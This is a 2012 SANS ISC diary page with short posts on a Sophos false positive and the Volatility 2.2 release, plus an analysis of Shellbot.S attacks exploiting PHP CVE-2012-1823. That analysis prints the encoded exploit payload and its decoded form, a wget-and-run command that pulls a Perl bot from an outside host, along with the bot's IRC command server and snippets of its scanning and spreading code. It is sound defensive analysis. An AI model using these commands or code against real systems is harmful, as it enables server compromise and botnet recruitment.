Threat Level: green Handler on Duty: Pedro Bueno

SANS ISC InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Sophos detecting itself as SHH/Updater-B

Published: 2012-09-19
Last Updated: 2012-09-19 21:39:47 UTC
by Kevin Liston (Version: 2)
6 comment(s)

The latest definition file for Sophos is having some unintended consequences.  It is currently being discussed on their website: http://community.sophos.com/t5/Sophos-Endpoint-Protection/Is-any-one-else-seing-this-alert/td-p/29723

More to come.

Update 21:39 GMT Binary updates appear to be reaching customers now.

Keywords:
6 comment(s)
iOS6 released: a few CVEs addresses, breaks mapping.

Volatility: 2.2 is Coming Soon

Published: 2012-09-19
Last Updated: 2012-09-19 18:03:29 UTC
by Kevin Liston (Version: 1)
0 comment(s)

Volatility 2.2 RC1 is available and supports Linux images

The good folks in the Volatilty/Memory Analysis community have been pretty busy lately. Release candidate for version 2.2 has been recently published (http://code.google.com/p/volatility/downloads/list) which adds support for Linux and adds plugins addressing the Windows GUI. There is also a plugin that will pull the event logs from memory for XP and 2003. Take a moment to read through the release notes for 2.2 RC1: http://code.google.com/p/volatility/wiki/Release22

Month of Volatility Plugins

Last week, the Volatility Labs Blog started a Month of Volatility plugin series, to introduce the new features becoming available in 2.2 (http://volatility-labs.blogspot.com/2012/09/month-of-volatility-plugins-movp.html) Final release for 2.2 should be available in October.
 

Using Volatilty in the Workplace

I've employed volatility in a couple different ways in the workplace. Gathering a memory snapshot was added to our malware response process, so adding a few default volatility jobs to the analysis procedure made sense.

In other instances, it was used in an ad hoc fashion, depending on the particulars of the case. When used in this manner, I would install volatlity in with the case file itself, and scripts were used to create any volatility output that was later used in the write-up. While this was a waste of disk-space, it allowed for others to reproduce my work, and this was in the early days of Volatility where updates might break plugins that I'd used in a case. Now we're moving towards using a VM for each case so that the entire too-lset used in the investigation is
maintained.

Dealing with Upgrades

In both methods, I'm still faced with how to deal with updates to the tool. In the former I run the risk of breaking the process. In the latter, it's not as big of a deal, since I would install the latest whenever a case was started. It may be a good idea to keep a couple of versions of volatility installed due to plugin dependencies.

When a particular finding is crucial in a case, it makes sense to verify that finding using different tools. Compare your volatilty results with those from say, Mandiant's redline or memoryze, or whatever commercial memory analysis tool you enjoy.

You should also follow a similar process with new versions of plugins. Test the new version on an old case's memory image (or compare using some of the example memory captures here: http://code.google.com/p/volatility/wiki/PublicMemoryImages)

 

0 comment(s)

Script kiddie scavenging with Shellbot.S

Published: 2012-09-19
Last Updated: 2012-09-19 16:58:24 UTC
by Russ McRee (Version: 1)
3 comment(s)

 

In the oldie but goodie category, reader Jon Turner sent us a fun example of old school malfeasance this morning that I'll share for your review and tactical opportunities.
 
He sent us two packets, each exhibiting the same interaction with an IP address in Latvia.
Jon conducted some nice analysis before sending the PCAP our way; I let him speak for himself:
"We've been getting pretty regularly pinged with attempts to exploit CVE-2012-1823. We're not vulnerable for a few different reasons, so I'd been ignoring it but I finally got around to pulling down a packet capture of the traffic and inspecting it. The attack attempts to disable a few security-related PHP configuration settings, disable Suhosin, and then pull down and execute a Perl script via a system call.
Though I think our attacker is a bot or script kiddie (they didn't bother to fingerprint the server and pass an attack for the right OS), the script is pretty interesting. Forefront detects it as Backdoor:Perl/Shellbot.S. There are sections of the code for joining an IRC channel for C&C, performing port scans, and automatically exploiting other systems. It looks like more than one developer was involved in writing the exploit code."
 
Let's have a little fun and dig in to Shellbot.S a bit.
 
As also described by Jon, the evil bits are still available at the URL in the base64_encoded instructions in the packets:
data='<?php eval(base64_decode('ZWNobyAic3Q0cjciLnN5c3RlbSgiY2QgL2Rldi9zaG07d2dldCBodHRwOi8
vY2tib290LmFsdGVydmlzdGEub3JnL3BocC5qcGc7IHBlcmwgcGhwLmpwZyIpLiI3aDMzbmQiOw==')); ?>'
 
If you're following along at home, use a sandboxed/isolated Linux VM that you can reset when all finished.
Via your favorite base64 encoder/decoder (I like the HackBar Firefox add-on) decode the string above and you should end up with:
echo "st4r7".system("cd /dev/shm;wget http://ckboot.altervista.org/php.jpg; perl php.jpg")."7h33nd";
 
From my Ubuntu VM I conducted the following:
 
malman@ubuntu:~$ netstat -ano | grep ESTABLISHED
No results.
 
Went and  wgot the bot code.
malman@ubuntu:~$ wget http://ckboot.altervista.org/php.jpg
--2012-07-11 13:47:41-- http://ckboot.altervista.org/php.jpg
Resolving ckboot.altervista.org... 178.63.21.200
Connecting to ckboot.altervista.org|178.63.21.200|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15728 (15K) [image/jpeg]
Saving to: `php.jpg'
100%[=========================================================================================>] 15,728      27.1K/s   in 0.6s   
2012-07-11 13:47:51 (27.1 KB/s) - `php.jpg' saved [15728/15728]
 
Followed orders per the base64 instructions:
malman@ubuntu:~$ perl php.jpg
 
Now we have some results, instant IRC hookup.
malman@ubuntu:~$ netstat -ano | grep ESTABLISHED
tcp        0      0 192.168.45.132:33371    83.66.116.112:6667      ESTABLISHED off (0.00/0/0)
 
My Ubuntu VM was not running an SSH daemon, I didn't even have it installed.
But line 14 of the "spreader" script defines my $processo = '/usr/sbin/sshd';
Yep, confirmed:
malman@ubuntu:~$ ps aux | grep sshd
malman   17940 96.3 0.2   6944 2592 pts/3    R    13:49   2:23 /usr/sbin/sshd
 
As Jon stated, in the code we see that the script:
1) Joins an IRC channel for C&C
my @hostauth=("localhost");
my @canais=("#consola");
chop (my $realname = 'mech');
$servidor='deadmanwalking.zapto.org' unless $servidor;
my $porta='6667';
 
2) Performs port scans
@portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663",
"6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");
 
3) Automatically exploits unpatched PHP "opportunities" and leverages Google for some heavy lifting.
Starting at line 209:
if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched INDEXU for ".$1." seconds.");
 
Starting at line 491:
    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";
    my @lst=();      
    my $page = http_query($query);
    while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
 
A $funcarg params check also reveals that Shellbot.S included TCP, UDP, and HTTP flooding functionality.
 
There are references to this source code being reported to Securityfocus as seen in attacks as far back as 2006.
But my favorite reference in this classic-come-lately?
# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this s**t a bit.
 
Script kiddie indeed.
Keep those PHP apps and instances patched, folks.
 
 
 
 
 
 
 
 
 
 

 

3 comment(s)
eicar.org still down from "hardware issues"
ISC StormCast for Wednesday, September 19th 2012 http://isc.sans.edu/podcastdetail.html?id=2815
Diary Archives